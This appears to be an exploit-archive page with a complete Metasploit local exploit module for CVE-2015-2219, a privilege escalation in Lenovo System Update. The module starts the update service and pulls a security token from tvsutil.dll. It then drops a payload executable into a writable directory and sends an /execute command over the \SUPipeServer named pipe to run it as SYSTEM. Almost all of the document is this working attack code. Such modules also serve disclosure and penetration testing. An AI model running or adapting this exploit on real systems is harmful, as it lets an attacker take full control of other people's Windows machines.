Lenovo System Update Privilege Escalation

2015-05-23 / 2015-05-24
Credit: h0ng10
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Post::Windows::Priv include Msf::Post::Windows::Services Rank = ExcellentRanking def initialize(info={}) super(update_info(info, { 'Name' => 'Lenovo System Update Privilege Escalation', 'Description' => %q{ The named pipe, \SUPipeServer, can be accessed by normal users to interact with the System update service. The service provides the possibility to execute arbitrary commands as SYSTEM if a valid security token is provided. This token can be generated by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the System Update is stopped by default but can be started/stopped calling the Executable ConfigService.exe. }, 'License' => MSF_LICENSE, 'Author' => [ 'Micahel Milvich', # vulnerability discovery, advisory 'Sofiane Talmat', # vulnerability discovery, advisory 'h0ng10' # Metasploit module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows', { } ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'References' => [ ['OSVDB', '121522'], ['CVE', '2015-2219'], ['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf'] ], 'DisclosureDate' => 'Apr 12 2015', 'DefaultTarget' => 0 })) register_options([ OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']), OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]), ], self.class) end def check os = sysinfo['OS'] unless os =~ /windows/i return Exploit::CheckCode::Safe end svc = service_info('SUService') if svc && svc[:display] =~ /System Update/ vprint_good("Found service '#{svc[:display]}'") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def write_named_pipe(pipe, command) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0) handle = r['return'] if handle == invalid_handle_value fail_with(Failure::NoTarget, "#{pipe} named pipe not found") else vprint_good("Opended #{pipe}! Proceeding...") end begin # First, write the string length as Int32 value w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil) if w['return'] == false print_error('The was an error writing to pipe, check permissions') return false end # Then we send the real command w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil) if w['return'] == false print_error('The was an error writing to pipe, check permissions') return false end ensure session.railgun.kernel32.CloseHandle(handle) end true end def get_security_token(lenovo_directory) unless client.railgun.get_dll('tvsutil') client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll") client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl') end dll_response = client.railgun.tvsutil.GetSystemInfoData(256) dll_response['systeminfo'][0,40] end def config_service(lenovo_directory, option) cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}") end def exploit if is_system? fail_with(Failure::NoTarget, 'Session is already elevated') end su_directory = service_info('SUService')[:path][1..-16] print_status('Starting service via ConfigService.exe') config_service(su_directory, 'start') print_status('Giving the service some time to start...') Rex.sleep(datastore['Sleep']) print_status("Getting security token...") token = get_security_token(su_directory) vprint_good("Security token is: #{token}") if datastore['WritableDir'].nil? || datastore['WritableDir'].empty? temp_dir = get_env('TEMP') else temp_dir = datastore['WritableDir'] end print_status("Using #{temp_dir} to drop the payload") begin cd(temp_dir) rescue Rex::Post::Meterpreter::RequestError fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory") end print_status('Writing malicious exe to remote filesystem') write_path = pwd exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" begin write_file(exe_name, generate_payload_exe) register_file_for_cleanup("#{write_path}\\#{exe_name}") rescue Rex::Post::Meterpreter::RequestError fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}") end print_status('Sending Execute command to update service') begin write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}") rescue Rex::Post::Meterpreter::RequestError fail_with(Failure::Unknown, 'Failed to write to pipe') end unless write_res fail_with(Failure::Unknown, 'Failed to write to pipe') end print_status('Stopping service via ConfigService.exe') config_service(su_directory, 'stop') end end


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